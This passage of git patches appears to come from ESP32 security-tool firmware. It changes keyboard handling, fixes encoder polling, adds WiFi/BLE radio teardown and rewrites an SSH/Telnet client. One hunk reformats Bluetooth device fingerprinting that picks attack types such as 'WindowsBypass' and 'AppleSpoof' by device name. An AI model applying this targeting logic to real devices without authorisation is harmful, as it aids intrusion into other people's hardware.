+                AnyKeyPress = true;
+                keyEventHandled = true;
+
+                if (handleSpecialKeys(row, col, pressed) > 0) continue;
+
+                if (!pressed) { KeyStroke.Clear(); }
+
+                char keyVal = getKeyChar(row, col);
+
+                if (keyVal == KEY_BACKSPACE && col == 13) {
+                    del = pressed;
+                    esc = pressed;
+                    if (pressed) delPulse = true;
+                } else if (keyVal == '`') {
+                    esc = pressed;
+                } else if (keyVal == KEY_ENTER && col == 13) {
+                    sel = pressed;
+                } else if (keyVal == ';') {
+                    up = pressed;
+                    arrow_up = pressed;
+                    if (pressed) {
+                        prev = true;
+                        prevPulse = true;
+                        upPulse = true;
+                        prevRepeatTime = millis() + TCA8418_REPEAT_START_MS;
+                        upRepeatTime = millis() + TCA8418_REPEAT_START_MS;
+                    } else {
+                        prev = false;
+                    }
+                } else if (keyVal == ',') {
+                    prev = pressed;
+                    arrow_le = pressed;
+                    if (pressed) {
+                        prevPulse = true;
+                        prevRepeatTime = millis() + TCA8418_REPEAT_START_MS;
+                    }
+                } else if (keyVal == '.') {
+                    down = pressed;
+                    arrow_dw = pressed;
+                    if (pressed) {
+                        next = true;
+                        nextPulse = true;
+                        downPulse = true;
+                        nextRepeatTime = millis() + TCA8418_REPEAT_START_MS;
+                        downRepeatTime = millis() + TCA8418_REPEAT_START_MS;
+                    } else {
+                        next = false;
+                    }
+                } else if (keyVal == '/') {
+                    next = pressed;
+                    arrow_ry = pressed;
+                    if (pressed) {
+                        nextPulse = true;
+                        nextRepeatTime = millis() + TCA8418_REPEAT_START_MS;
+                    }
+                } else if (keyVal == 0xFF) {
+                    key.fn = pressed;
+                } else if (keyVal == KEY_LEFT_CTRL) {
+                    ctrl = pressed;
+                } else if (keyVal == KEY_LEFT_ALT) {
+                    alt = pressed;
+                } else if (keyVal == KEY_OPT) {
+                    gui = pressed;
+                }
 
-        if (wakeUpScreen()) return;
+                if (!pressed) continue;
 
-        AnyKeyPress = true;
-
-        if (handleSpecialKeys(row, col, pressed) > 0) return;
+                if (gui) {
+                    key.gui = true;
+                    key.modifier_keys.emplace_back(KEY_OPT);
+                    key.hid_keys.emplace_back(KEY_OPT);
+                    keyPulse = true;
+                }
+                if (alt) {
+                    key.alt = true;
+                    key.modifier_keys.emplace_back(KEY_LEFT_ALT);
+                    key.hid_keys.emplace_back(KEY_LEFT_ALT);
+                    keyPulse = true;
+                }
+                if (ctrl) {
+                    key.ctrl = true;
+                    key.modifier_keys.emplace_back(KEY_LEFT_CTRL);
+                    key.hid_keys.emplace_back(KEY_LEFT_CTRL);
+                    keyPulse = true;
+                }
+                if (shift_key_pressed) {
+                    key.modifier_keys.emplace_back(KEY_LEFT_SHIFT);
+                    key.hid_keys.emplace_back(KEY_LEFT_SHIFT);
+                    keyPulse = true;
+                }
+                if (sel) {
+                    key.enter = true;
+                    key.exit_key = true;
+                    keyPulse = true;
+                }
+                if (fn_key_pressed) {
+                    key.fn = true;
+                    keyPulse = true;
+                }
 
-        if (!pressed) { KeyStroke.Clear(); }
+                if (keyVal != 0xFF && !sel && !gui && !alt && !ctrl && !del && keyVal != KEY_LEFT_SHIFT) {
+                    if (fn_key_pressed && arrow_up) key.word.emplace_back(0xDA);
+                    else if (fn_key_pressed && arrow_dw) key.word.emplace_back(0xD9);
+                    else if (fn_key_pressed && arrow_ry) key.word.emplace_back(0xD7);
+                    else if (fn_key_pressed && arrow_le) key.word.emplace_back(0xD8);
+                    else if (fn_key_pressed && keyVal == '`') key.word.emplace_back(0xB1);
+                    else key.word.emplace_back(keyVal);
+                    keyPulse = true;
+                }
+            }
 
-        keyStroke key;
-        char keyVal = getKeyChar(row, col);
-
-        // Serial.printf("Key pressed: %c (0x%02X) at row=%d, col=%d\n", keyVal, keyVal, row, col);
-
-        if (keyVal == KEY_BACKSPACE && col == 13) { // KEY_BACKSPACE = '*' = 0x2a
-            del = pressed;
-            esc = pressed;
-        } else if (keyVal == '`') {
-            esc = pressed;
-        } else if (keyVal == KEY_ENTER && col == 13) { // KEY_ENTER = '(' = 0x28
-            sel = pressed;
-        } else if (keyVal == ',' || keyVal == ';') {
-            prev = pressed;
-            if (keyVal == ',') arrow_le = pressed;
-            if (keyVal == ';') arrow_up = pressed;
-        } else if (keyVal == '/' || keyVal == '.') {
-            next = pressed;
-            if (keyVal == '/') arrow_ry = pressed;
-            if (keyVal == '.') arrow_dw = pressed;
-        } else if (keyVal == 0xFF) {
-            key.fn = pressed;
-        } else if (keyVal == KEY_LEFT_CTRL) {
-            ctrl = pressed;
-        } else if (keyVal == KEY_LEFT_ALT) {
-            alt = pressed;
-        } else if (keyVal == KEY_OPT) {
-            gui = pressed;
+            tca.writeRegister(TCA8418_REG_INT_STAT, 1);
+            int intstat = tca.readRegister(TCA8418_REG_INT_STAT);
+            if ((intstat & 0x01) == 0) { kb_interrupt = false; }
         }
 
-        if (gui) {
-            key.gui = true;
-            key.modifier_keys.emplace_back(KEY_OPT);
-            key.hid_keys.emplace_back(KEY_OPT);
-        }
-        if (alt) {
-            key.alt = true;
-            key.modifier_keys.emplace_back(KEY_LEFT_ALT);
-            key.hid_keys.emplace_back(KEY_LEFT_ALT);
+        unsigned long now = millis();
+        if (next && now >= nextRepeatTime) {
+            nextPulse = true;
+            nextRepeatTime = now + TCA8418_REPEAT_MS;
         }
-        if (ctrl) {
-            key.ctrl = true;
-            key.modifier_keys.emplace_back(KEY_LEFT_CTRL);
-            key.hid_keys.emplace_back(KEY_LEFT_CTRL);
+        if (prev && now >= prevRepeatTime) {
+            prevPulse = true;
+            prevRepeatTime = now + TCA8418_REPEAT_MS;
         }
-        if (shift_key_pressed) {
-            key.fn = true;
-            key.modifier_keys.emplace_back(KEY_LEFT_SHIFT);
-            key.hid_keys.emplace_back(KEY_LEFT_SHIFT);
+        if (up && now >= upRepeatTime) {
+            upPulse = true;
+            upRepeatTime = now + TCA8418_REPEAT_MS;
         }
-        if (sel) {
-            key.enter = true;
-            key.exit_key = true;
+        if (down && now >= downRepeatTime) {
+            downPulse = true;
+            downRepeatTime = now + TCA8418_REPEAT_MS;
         }
-        if (fn_key_pressed) key.fn = true;
-
-        if (keyVal != 0xFF && !sel && !gui && !alt && !ctrl && !del && keyVal != KEY_LEFT_SHIFT) {
-            if (fn_key_pressed && arrow_up) key.word.emplace_back(0xDA);
-            else if (fn_key_pressed && arrow_dw) key.word.emplace_back(0xD9);
-            else if (fn_key_pressed && arrow_ry) key.word.emplace_back(0xD7);
-            else if (fn_key_pressed && arrow_le) key.word.emplace_back(0xD8);
-            else if (fn_key_pressed && keyVal == '`') key.word.emplace_back(0xB1);
-            else key.word.emplace_back(keyVal);
+
+        if (!keyEventHandled && !nextPulse && !prevPulse && !upPulse && !downPulse && !LongPress) {
+            sel = false;
+            esc = false;
         }
-        key.pressed = pressed;
-        if (del) {
-            key.del = del;
+
+        if (delPulse) {
+            key.del = true;
             key.pressed = true;
+            if (fn_key_pressed) {
+                key.word.emplace_back(0xD4);
+                key.del = false;
+                key.fn = false;
+                del = false;
+                fn_key_pressed = false;
+            }
+            keyPulse = true;
         }
-        if (fn_key_pressed && del) {
-            key.word.emplace_back(0xD4);
-            key.del = false;
-            key.fn = false;
-            del = false;
-            fn_key_pressed = false;
+
+        if (keyPulse) {
+            key.pressed = true;
+            KeyStroke = key;
+        } else if (!nextPulse && !prevPulse && !upPulse && !downPulse) {
+            KeyStroke.Clear();
         }
-        KeyStroke = key;
-        NextPress = next;
-        PrevPress = prev;
-        UpPress = up;
-        DownPress = down;
-        SelPress = sel;
+
+        if (nextPulse || prevPulse || upPulse || downPulse || keyPulse) AnyKeyPress = true;
+
+        NextPress = nextPulse;
+        PrevPress = prevPulse;
+        UpPress = upPulse;
+        DownPress = downPulse;
+        if (!SelPress) SelPress = sel;
         EscPress = esc;
-        tm = millis();
+        tm = now;
     } else {
         Keyboard.update();
         if (Keyboard.isPressed()) {

From 0411520bf769a5adfc6d251cc669bd22144aae9e Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Fri, 22 May 2026 16:08:55 -0300
Subject: [PATCH 56/73] Fixed encoder overpolling

---
 boards/lilygo-t-embed-cc1101/interface.cpp | 5 +++++
 boards/lilygo-t-lora-pager/interface.cpp   | 5 +++++
 boards/m5stack-dinmeter/interface.cpp      | 5 +++++
 boards/marauder-touch/interface.cpp        | 5 +++++
 4 files changed, 20 insertions(+)

diff --git a/boards/lilygo-t-embed-cc1101/interface.cpp b/boards/lilygo-t-embed-cc1101/interface.cpp
index 4099fa0b6..8d41a2bb9 100644
--- a/boards/lilygo-t-embed-cc1101/interface.cpp
+++ b/boards/lilygo-t-embed-cc1101/interface.cpp
@@ -140,6 +140,7 @@ void _setBrightness(uint8_t brightval) {
 void InputHandler(void) {
     static unsigned long tm = millis();  // debounce for buttons
     static unsigned long tm2 = millis(); // delay between Select and encoder (avoid missclick)
+    static unsigned long lastEncoderMoveMs = 0;
     static int posDifference = 0;
     static int lastPos = 0;
     bool sel = !BTN_ACT;
@@ -149,6 +150,10 @@ void InputHandler(void) {
     if (newPos != lastPos) {
         posDifference += (newPos - lastPos);
         lastPos = newPos;
+        lastEncoderMoveMs = millis();
+    } else if (posDifference != 0 && millis() - lastEncoderMoveMs > 30) {
+        // Drop any stale queued steps once the encoder has stopped moving.
+        posDifference = 0;
     }
 
     if (millis() - tm > 200 || LongPress) {
diff --git a/boards/lilygo-t-lora-pager/interface.cpp b/boards/lilygo-t-lora-pager/interface.cpp
index 651811b4f..b8012c53c 100644
--- a/boards/lilygo-t-lora-pager/interface.cpp
+++ b/boards/lilygo-t-lora-pager/interface.cpp
@@ -303,6 +303,7 @@ void _setBrightness(uint8_t brightval) {
 **********************************************************************/
 void InputHandler(void) {
     static unsigned long tm = millis();
+    static unsigned long lastEncoderMoveMs = 0;
     static int posDifference = 0;
     static int lastPos = 0;
     bool sel = !BTN_ACT;
@@ -317,6 +318,10 @@ void InputHandler(void) {
     if (newPos != lastPos) {
         posDifference += (newPos - lastPos);
         lastPos = newPos;
+        lastEncoderMoveMs = millis();
+    } else if (posDifference != 0 && millis() - lastEncoderMoveMs > 30) {
+        // Drop any stale queued steps once the encoder has stopped moving.
+        posDifference = 0;
     }
 
     sel = digitalRead(SEL_BTN);
diff --git a/boards/m5stack-dinmeter/interface.cpp b/boards/m5stack-dinmeter/interface.cpp
index 15e85ee6d..aefeda289 100644
--- a/boards/m5stack-dinmeter/interface.cpp
+++ b/boards/m5stack-dinmeter/interface.cpp
@@ -43,6 +43,7 @@ int getBattery() {
 **********************************************************************/
 void InputHandler(void) {
     static unsigned long tm = millis(); // debauce for buttons
+    static unsigned long lastEncoderMoveMs = 0;
     static int posDifference = 0;
     static int lastPos = 0;
     bool sel = !LOW;
@@ -51,6 +52,10 @@ void InputHandler(void) {
     if (newPos != lastPos) {
         posDifference += (newPos - lastPos);
         lastPos = newPos;
+        lastEncoderMoveMs = millis();
+    } else if (posDifference != 0 && millis() - lastEncoderMoveMs > 30) {
+        // Drop any stale queued steps once the encoder has stopped moving.
+        posDifference = 0;
     }
 
     if (millis() - tm < 200 && !LongPress) return;
diff --git a/boards/marauder-touch/interface.cpp b/boards/marauder-touch/interface.cpp
index 9f23eb974..66bdfa2aa 100644
--- a/boards/marauder-touch/interface.cpp
+++ b/boards/marauder-touch/interface.cpp
@@ -95,6 +95,7 @@ void InputHandler(void) {
     }
 
 #ifdef WAVESENTRY
+    static unsigned long lastEncoderMoveMs = 0;
     static int posDifference = 0;
     static int lastPos = 0;
     bool sel = !BTN_ACT;
@@ -103,6 +104,10 @@ void InputHandler(void) {
     if (newPos != lastPos) {
         posDifference += (newPos - lastPos);
         lastPos = newPos;
+        lastEncoderMoveMs = millis();
+    } else if (posDifference != 0 && millis() - lastEncoderMoveMs > 30) {
+        // Drop any stale queued steps once the encoder has stopped moving.
+        posDifference = 0;
     }
 
     if (millis() - tm < 200 && !LongPress) return;

From a985be3cf45bfecc66d893abba6788ae545cda3c Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Sat, 23 May 2026 02:41:21 -0300
Subject: [PATCH 57/73] SSH Client

---
 include/precompiler_flags.h    |    4 +-
 src/core/wifi/wifi_common.cpp  |   35 +-
 src/modules/ble/BLE_Suite.cpp  |   42 +-
 src/modules/ble/ble_common.cpp |   47 +-
 src/modules/ble/ble_common.h   |    7 +
 src/modules/wifi/clients.cpp   | 1382 ++++++++++++++++++++++++--------
 6 files changed, 1170 insertions(+), 347 deletions(-)

diff --git a/include/precompiler_flags.h b/include/precompiler_flags.h
index a9259e864..a8e5d0edb 100644
--- a/include/precompiler_flags.h
+++ b/include/precompiler_flags.h
@@ -16,7 +16,7 @@
   #define INPUT_HANDLER_TASK_STACK_SIZE 4096
 #endif
 #ifndef SSH_TASK_STACK_SIZE
-  #define SSH_TASK_STACK_SIZE 1024*10
+  #define SSH_TASK_STACK_SIZE (1024 * 16)
 #endif
 #ifndef SAFE_STACK_BUFFER_SIZE
   #define SAFE_STACK_BUFFER_SIZE 4096
@@ -33,7 +33,7 @@
   #define INPUT_HANDLER_TASK_STACK_SIZE 2048
 #endif
 #ifndef SSH_TASK_STACK_SIZE
-  #define SSH_TASK_STACK_SIZE 1024*8
+  #define SSH_TASK_STACK_SIZE (1024 * 16)
 #endif
 #ifndef SAFE_STACK_BUFFER_SIZE
   #define SAFE_STACK_BUFFER_SIZE 1024
diff --git a/src/core/wifi/wifi_common.cpp b/src/core/wifi/wifi_common.cpp
index 1cdc34834..57a570183 100644
--- a/src/core/wifi/wifi_common.cpp
+++ b/src/core/wifi/wifi_common.cpp
@@ -5,6 +5,7 @@
 #include "core/settings.h"
 #include "core/utils.h"
 #include "core/wifi/wifi_mac.h" // Set Mac Address - @IncursioHack
+#include "modules/ble/ble_common.h"
 #include <esp_event.h>
 #include <esp_netif.h>
 #include <globals.h>
@@ -78,6 +79,15 @@ bool _wifiConnect(const String &ssid, int encryption) {
 }
 
 bool _connectToWifiNetwork(const String &ssid, const String &pwd) {
+    if (FORCE_RADIO_TEARDOWN_ON_SWITCH) {
+        if (BLEConnected) {
+            displayWarning("Board with no PSRAM, closing BLE Stack");
+            vTaskDelay(700 / portTICK_PERIOD_MS);
+        }
+        stopBLEStack();
+        vTaskDelay(300 / portTICK_PERIOD_MS);
+    }
+
     drawMainBorderWithTitle("WiFi Connect");
     padprintln("");
     padprint("Connecting to: " + ssid + ".");
@@ -122,14 +132,14 @@ bool _setupAP() {
 
 void wifiDisconnect() {
     wifiTransitioning = true;
-    
+
     WiFi.softAPdisconnect(true); // turn off AP mode
     vTaskDelay(10 / portTICK_PERIOD_MS);
     WiFi.disconnect(true, true); // turn off STA mode
     vTaskDelay(10 / portTICK_PERIOD_MS);
-    WiFi.mode(WIFI_OFF);         // enforces WIFI_OFF mode
+    WiFi.mode(WIFI_OFF); // enforces WIFI_OFF mode
     vTaskDelay(10 / portTICK_PERIOD_MS);
-    
+
     wifiConnected = false;
     wifiTransitioning = false;
 }
@@ -137,6 +147,11 @@ void wifiDisconnect() {
 bool wifiConnectMenu(wifi_mode_t mode) {
     if (WiFi.isConnected()) return false; // safeguard
 
+    if (FORCE_RADIO_TEARDOWN_ON_SWITCH) {
+        stopBLEStack();
+        vTaskDelay(100 / portTICK_PERIOD_MS);
+    }
+
     // Check if WiFi is in transition
     if (wifiTransitioning) {
         displayTextLine("WiFi busy, please wait...");
@@ -225,6 +240,11 @@ bool wifiConnectMenu(wifi_mode_t mode) {
 void wifiConnectTask(void *pvParameters) {
     if (WiFi.status() == WL_CONNECTED) return;
 
+    if (FORCE_RADIO_TEARDOWN_ON_SWITCH) {
+        stopBLEStack();
+        vTaskDelay(100 / portTICK_PERIOD_MS);
+    }
+
     // Check if WiFi is in transition
     if (wifiTransitioning) {
         vTaskDelete(NULL);
@@ -267,14 +287,19 @@ String checkMAC() { return String(WiFi.macAddress()); }
 
 bool wifiConnecttoKnownNet(void) {
     if (WiFi.isConnected()) return true; // safeguard
-    
+
+    if (FORCE_RADIO_TEARDOWN_ON_SWITCH) {
+        stopBLEStack();
+        vTaskDelay(100 / portTICK_PERIOD_MS);
+    }
+
     // Check if WiFi is in transition
     if (wifiTransitioning) {
         displayTextLine("WiFi busy, please wait...");
         vTaskDelay(500 / portTICK_PERIOD_MS);
         return false;
     }
-    
+
     bool result = false;
     int nets;
     // WiFi.mode(WIFI_MODE_STA);
diff --git a/src/modules/ble/BLE_Suite.cpp b/src/modules/ble/BLE_Suite.cpp
index f54f41d90..f00e49bbf 100644
--- a/src/modules/ble/BLE_Suite.cpp
+++ b/src/modules/ble/BLE_Suite.cpp
@@ -1,9 +1,11 @@
 #if !defined(LITE_VERSION)
 #include "BLE_Suite.h"
 #include "HFP_Exploit.h"
+#include "ble_common.h"
 #include "core/display.h"
 #include "core/mykeyboard.h"
 #include "core/utils.h"
+#include "core/wifi/wifi_common.h"
 #include "fastpair_crypto.h"
 #include "modules/NRF24/nrf_jammer_api.h"
 #include <SD.h>
@@ -130,6 +132,17 @@ const FastPairModelInfo fastpair_models[] = {
 //=============================================================================
 
 bool BLEStateManager::initBLE(const String &name, int powerLevel) {
+    if (FORCE_RADIO_TEARDOWN_ON_SWITCH) {
+        if (WiFi.getMode() != WIFI_MODE_NULL || wifiConnected) {
+            if (wifiConnected) {
+                displayWarning("Board with no PSRAM, closing WiFi Stack");
+                vTaskDelay(700 / portTICK_PERIOD_MS);
+            }
+            wifiDisconnect();
+            vTaskDelay(300 / portTICK_PERIOD_MS);
+        }
+    }
+
     if (bleInitialized) deinitBLE(true);
 
     std::string nameStr = name.c_str();
@@ -402,26 +415,33 @@ HIDDeviceProfile HIDExploitEngine::analyzeHIDDevice(NimBLEAddress target, const
         profile.isAppleDevice = true;
         profile.suggestedAttack = "AppleSpoof";
         profile.requiresAuthentication = false;
-    } else if (nameLower.indexOf("surface") != -1 || nameLower.indexOf("windows") != -1 ||
-               nameLower.indexOf("microsoft") != -1 || nameLower.indexOf("xbox") != -1) {
+    } else if (
+        nameLower.indexOf("surface") != -1 || nameLower.indexOf("windows") != -1 ||
+        nameLower.indexOf("microsoft") != -1 || nameLower.indexOf("xbox") != -1
+    ) {
         profile.osType = "Windows";
         profile.isWindowsDevice = true;
         profile.suggestedAttack = "WindowsBypass";
         profile.requiresAuthentication = true;
-    } else if (nameLower.indexOf("android") != -1 || nameLower.indexOf("google") != -1 ||
-               nameLower.indexOf("pixel") != -1 || nameLower.indexOf("samsung") != -1) {
+    } else if (
+        nameLower.indexOf("android") != -1 || nameLower.indexOf("google") != -1 ||
+        nameLower.indexOf("pixel") != -1 || nameLower.indexOf("samsung") != -1
+    ) {
         profile.osType = "Android";
         profile.isAndroidDevice = true;
         profile.suggestedAttack = "AndroidJustWorks";
         profile.requiresAuthentication = false;
-    } else if (nameLower.indexOf("linux") != -1 || nameLower.indexOf("raspberry") != -1 ||
-               nameLower.indexOf("pi") != -1) {
+    } else if (
+        nameLower.indexOf("linux") != -1 || nameLower.indexOf("raspberry") != -1 ||
+        nameLower.indexOf("pi") != -1
+    ) {
         profile.osType = "Linux";
         profile.isLinuxDevice = true;
         profile.suggestedAttack = "BootProtocol";
         profile.requiresAuthentication = false;
-    } else if (nameLower.indexOf("tv") != -1 || nameLower.indexOf("smart") != -1 ||
-               nameLower.indexOf("iot") != -1) {
+    } else if (
+        nameLower.indexOf("tv") != -1 || nameLower.indexOf("smart") != -1 || nameLower.indexOf("iot") != -1
+    ) {
         profile.osType = "IoT";
         profile.isIoTDevice = true;
         profile.suggestedAttack = "StateConfusion";
@@ -3724,8 +3744,10 @@ String selectTargetFromScan(const char *title) {
             for (size_t j = i + 1; j < scannerData.deviceAddresses.size(); j++) {
                 bool swapNeeded = false;
                 if (scannerData.deviceFastPair[j] && !scannerData.deviceFastPair[i]) swapNeeded = true;
-                else if (scannerData.deviceFastPair[j] == scannerData.deviceFastPair[i] &&
-                         scannerData.deviceRssi[j] > scannerData.deviceRssi[i])
+                else if (
+                    scannerData.deviceFastPair[j] == scannerData.deviceFastPair[i] &&
+                    scannerData.deviceRssi[j] > scannerData.deviceRssi[i]
+                )
                     swapNeeded = true;
 
                 if (swapNeeded) {
diff --git a/src/modules/ble/ble_common.cpp b/src/modules/ble/ble_common.cpp
index 93d8dd52b..e8bac91b6 100644
--- a/src/modules/ble/ble_common.cpp
+++ b/src/modules/ble/ble_common.cpp
@@ -1,7 +1,12 @@
 #include "ble_common.h"
 #include "core/mykeyboard.h"
 #include "core/utils.h"
+#include "core/wifi/wifi_common.h"
+#include "modules/badusb_ble/ducky_typer.h"
 #include "esp_mac.h"
+#if !defined(LITE_VERSION)
+#include "BLE_Suite.h"
+#endif
 #define SERVICE_UUID "1bc68b2a-f3e3-11e9-81b4-2a2ae2dbcce4"
 #define CHARACTERISTIC_RX_UUID "1bc68da0-f3e3-11e9-81b4-2a2ae2dbcce4"
 #define CHARACTERISTIC_TX_UUID "1bc68efe-f3e3-11e9-81b4-2a2ae2dbcce4"
@@ -83,7 +88,47 @@ class AdvertisedDeviceCallbacks : public NimBLEAdvertisedDeviceCallbacks {
     }
 };
 
+static bool is_ble_inited = false;
+
+void stopBLEStack() {
+    if (pBLEScan) pBLEScan->stop();
+
+#if !defined(LITE_VERSION)
+    if (BLEStateManager::isBLEActive() || BLEStateManager::getActiveClientCount() > 0) {
+        BLEStateManager::deinitBLE(true);
+    } else
+#endif
+        if (BLEDevice::getScan() != nullptr || BLEDevice::getAdvertising() != nullptr || BLEDevice::getServer() != nullptr
+            || BLEConnected || is_ble_inited) {
+        BLEDevice::deinit();
+    }
+
+    pBLEScan = nullptr;
+    pServer = nullptr;
+    pService = nullptr;
+    pTxCharacteristic = nullptr;
+    pRxCharacteristic = nullptr;
+    deviceConnected = false;
+    oldDeviceConnected = false;
+    bleDataTransferEnabled = false;
+    is_ble_inited = false;
+    BLEConnected = false;
+
+    delete hid_ble;
+    hid_ble = nullptr;
+}
+
 void ble_scan_setup() {
+    if (FORCE_RADIO_TEARDOWN_ON_SWITCH) {
+        if (WiFi.getMode() != WIFI_MODE_NULL || wifiConnected) {
+            wifiDisconnect();
+            delay(200);
+        }
+
+        stopBLEStack();
+        delay(100);
+    }
+
     BLEDevice::init("");
     pBLEScan = BLEDevice::getScan();
 #ifdef NIMBLE_V2_PLUS
@@ -260,8 +305,6 @@ void disPlayBLESend() {
     BLEConnected = false;
 }
 
-static bool is_ble_inited = false;
-
 void ble_test() {
     printf("ble test\n");
 
diff --git a/src/modules/ble/ble_common.h b/src/modules/ble/ble_common.h
index 53319db35..441eb6068 100644
--- a/src/modules/ble/ble_common.h
+++ b/src/modules/ble/ble_common.h
@@ -23,8 +23,15 @@ extern int scanTime;
 
 void ble_test();
 
+#ifdef BOARD_HAS_PSRAM
+constexpr bool FORCE_RADIO_TEARDOWN_ON_SWITCH = false;
+#else
+constexpr bool FORCE_RADIO_TEARDOWN_ON_SWITCH = true;
+#endif
+
 void ble_scan_setup();
 void ble_scan();
+void stopBLEStack();
 
 void disPlayBLESend();
 
diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index da4eb93dc..e57fc6161 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -1,446 +1,1172 @@
 #ifndef LITE_VERSION
 // SSH borrowed from https://github.com/m5stack/M5Cardputer :)
 
-// TODO: Display is kinda glitchy :P figure out some way to show better outputs also
+#include "clients.h"
 
 // SSH libs
 #include "libssh_esp32.h"
 #include <libssh/libssh.h>
 
-// Telnet libs
-#include "clients.h"
 #include "core/display.h"
 #include "core/mykeyboard.h"
 #include "core/wifi/wifi_common.h"
 #include <Arduino.h>
+#include <errno.h>
 #include <esp_event.h>
 #include <esp_system.h>
 #include <esp_wifi.h>
 #include <freertos/FreeRTOS.h>
+#include <freertos/semphr.h>
 #include <freertos/task.h>
 #include <globals.h>
 #include <lwip/sockets.h>
+#include <memory>
 #include <string.h>
 
-// SSH server configuration (initialize as mpty strings)
+#ifndef KEY_TAB
+#define KEY_TAB 0x2b
+#endif
+// SSH server configuration
 String ssh_host = "";
 String ssh_user = "";
 String ssh_port = "";
 String ssh_password = "";
-char *ssh_port_char;
 
 String commandBuffer = "> ";
 int cursorY = 0;
-const int lineHeight = 32; // 32
 unsigned long lastKeyPressMillis = 0;
-const unsigned long debounceDelay = 200; // Adjust debounce delay as needed
+const unsigned long debounceDelay = 200;
 
-// ssh_bind sshbind = (ssh_bind)state->input;
+String telnet_server_string = "";
+String telnet_port_string = "";
+int telnet_server_port = 23;
 
-// ssh_init sshbind;
-ssh_session my_ssh_session;
-ssh_channel channel_ssh;
+bool filterAnsiSequences = true;
 
-char *stringTochar(String s) {
-    if (s.length() == 0) {
-        return nullptr; // or handle the case where the string is empty
+namespace {
+constexpr size_t CLIENT_IO_BUFFER_SIZE = 256;
+constexpr size_t MAX_QUEUED_OUTPUT_BYTES = 128;
+constexpr const char *SSH_USER_KNOWN_HOSTS_PATH = "/littlefs/known_hosts";
+constexpr const char *SSH_GLOBAL_KNOWN_HOSTS_PATH = "/littlefs/ssh_known_hosts";
+constexpr int TERMINAL_PAD_X = 3;
+constexpr int TERMINAL_PAD_Y = 3;
+
+enum class ClientProtocol : uint8_t { None, SSH, Telnet };
+
+SemaphoreHandle_t clientStateMutex = nullptr;
+TaskHandle_t clientTaskHandle = nullptr;
+
+ClientProtocol activeProtocol = ClientProtocol::None;
+String queuedCommand = "";
+String queuedOutput = "";
+String queuedPromptPrefix = "> ";
+String queuedPromptContext = "";
+String pendingTerminalLine = "";
+String terminalLiveInput = "";
+String pendingEchoSuppression = "";
+String sessionStatus = "";
+String sessionHost = "";
+String sessionUser = "";
+uint16_t sessionPort = 0;
+
+bool sessionReady = false;
+bool sessionActive = false;
+bool sessionClosed = false;
+bool sessionFailed = false;
+bool sessionConnecting = false;
+bool stopSessionRequested = false;
+bool previousOutputWasCR = false;
+bool awaitingTabDebugResponse = false;
+
+enum class EscapeParseState : uint8_t { Normal, Esc, Csi, Osc, OscEsc, Charset };
+EscapeParseState escapeParseState = EscapeParseState::Normal;
+
+int telnetSock = -1;
+
+bool initClientMutex() {
+    if (clientStateMutex != nullptr) return true;
+    clientStateMutex = xSemaphoreCreateMutex();
+    return clientStateMutex != nullptr;
+}
+
+template <typename Fn> void withClientLock(Fn &&fn) {
+    if (clientStateMutex && xSemaphoreTake(clientStateMutex, portMAX_DELAY)) {
+        fn();
+        xSemaphoreGive(clientStateMutex);
     }
+}
 
-    static char arr[14]; // Make sure it's large enough to hold the IP address
-    s.toCharArray(arr, sizeof(arr));
-    return arr;
+void setClientTaskHandle(TaskHandle_t handle) {
+    withClientLock([&]() { clientTaskHandle = handle; });
 }
 
-bool filterAnsiSequences = true; // Set to false to disable ANSI sequence filtering
+TaskHandle_t getClientTaskHandle() {
+    TaskHandle_t handle = nullptr;
+    withClientLock([&]() { handle = clientTaskHandle; });
+    return handle;
+}
 
-void ssh_setup(String host) {
-    if (!wifiConnected) wifiConnectMenu();
+void resetClientState(ClientProtocol protocol) {
+    withClientLock([&]() {
+        activeProtocol = protocol;
+        queuedCommand = "";
+        queuedOutput = "";
+        queuedPromptPrefix = "> ";
+        queuedPromptContext = "";
+        pendingTerminalLine = "";
+        terminalLiveInput = "";
+        pendingEchoSuppression = "";
+        sessionStatus = "";
+        sessionReady = false;
+        sessionActive = false;
+        sessionClosed = false;
+        sessionFailed = false;
+        sessionConnecting = false;
+        stopSessionRequested = false;
+        previousOutputWasCR = false;
+        awaitingTabDebugResponse = false;
+    });
+}
 
-    drawMainBorderWithTitle("SSH");
+void markSessionConnecting() {
+    withClientLock([&]() {
+        sessionConnecting = true;
+        sessionClosed = false;
+        sessionFailed = false;
+        sessionActive = true;
+    });
+}
+
+void markSessionReady() {
+    withClientLock([&]() {
+        sessionConnecting = false;
+        sessionReady = true;
+        sessionActive = true;
+    });
+}
+
+void markSessionClosed(const String &status, bool failed) {
+    withClientLock([&]() {
+        sessionStatus = status;
+        sessionClosed = true;
+        sessionFailed = failed;
+        sessionActive = false;
+        sessionReady = false;
+        sessionConnecting = false;
+    });
+}
+
+void appendSessionOutput(const char *data, size_t len) {
+    if (len == 0 || data == nullptr) return;
+    withClientLock([&]() {
+        queuedOutput.reserve(queuedOutput.length() + len);
+        for (size_t i = 0; i < len; ++i) {
+            uint8_t raw = static_cast<uint8_t>(data[i]);
+            char c = static_cast<char>(raw);
+            if (filterAnsiSequences) {
+                switch (escapeParseState) {
+                    case EscapeParseState::Normal:
+                        if (raw == 0x1B) {
+                            escapeParseState = EscapeParseState::Esc;
+                            continue;
+                        }
+                        break;
+                    case EscapeParseState::Esc:
+                        if (c == '[') {
+                            escapeParseState = EscapeParseState::Csi;
+                            continue;
+                        }
+                        if (c == ']') {
+                            escapeParseState = EscapeParseState::Osc;
+                            continue;
+                        }
+                        if (c == '(' || c == ')') {
+                            escapeParseState = EscapeParseState::Charset;
+                            continue;
+                        }
+                        escapeParseState = EscapeParseState::Normal;
+                        continue;
+                    case EscapeParseState::Csi:
+                        if (raw >= 0x40 && raw <= 0x7E) escapeParseState = EscapeParseState::Normal;
+                        continue;
+                    case EscapeParseState::Osc:
+                        if (raw == 0x07) escapeParseState = EscapeParseState::Normal;
+                        else if (raw == 0x1B) escapeParseState = EscapeParseState::OscEsc;
+                        continue;
+                    case EscapeParseState::OscEsc:
+                        escapeParseState = (c == '\\') ? EscapeParseState::Normal : EscapeParseState::Osc;
+                        continue;
+                    case EscapeParseState::Charset: escapeParseState = EscapeParseState::Normal; continue;
+                }
+            }
+            if (c == '\r') {
+                if (!queuedOutput.isEmpty() && queuedOutput[queuedOutput.length() - 1] != '\n')
+                    queuedOutput += '\n';
